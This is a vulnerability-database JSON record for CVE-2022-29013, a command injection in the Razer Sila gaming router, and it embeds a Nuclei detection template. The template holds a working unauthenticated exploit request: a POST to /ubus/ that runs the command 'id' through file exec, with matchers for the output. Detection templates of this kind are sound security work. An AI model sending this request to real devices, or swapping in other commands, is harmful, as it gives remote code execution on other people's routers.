{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-29013/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-29013/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-29013/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-29013/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-29013/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-29013"},"sightings":{"href":"/api/v1/sightings/cve-2022-29013"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-29013.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-29013\n\ninfo:\n  name: Razer Sila Gaming Router - Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.\n  impact: |\n    Unauthenticated attackers can execute arbitrary system commands on the Razer Sila gaming router through command injection in the ubus endpoint, potentially compromising the entire home network and intercepting all network traffic.\n  remediation: |\n    Upgrade to a patched version of Razer Sila firmware that properly sanitizes command parameters and validates input to the ubus API.\n  reference:\n    - https://packetstormsecurity.com/files/166684/Razer-Sila-2.0.418-Command-Injection.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-29013\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-29013\n    cwe-id: CWE-78\n    epss-score: 0.76905\n    epss-percentile: 0.99534\n    cpe: cpe:2.3:h:razer:sila:-:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: razer\n    product: sila\n  tags: packetstorm,cve,cve2022,razer,sila,router,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/ubus/\"\n    headers:\n      Origin: \"{{RootURL}}\"\n      Referer: \"{{RootURL}}\"\n      X-Requested-With: XMLHttpRequest\n    body: |\n      {\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"call\",\"params\":[\"30ebdc7dd1f519beb4b2175e9dd8463e\",\"file\",\"exec\",{\"command\":\"id\"}]}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402200cd34e890a3218e477a3afa4c557432d9eb2d2c9ee98a82ac0d910717eb2b8320220084575e5ed33be4945d7d15695624ee5ce9a62815109e6230f7c9cef476089a9:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-29013"}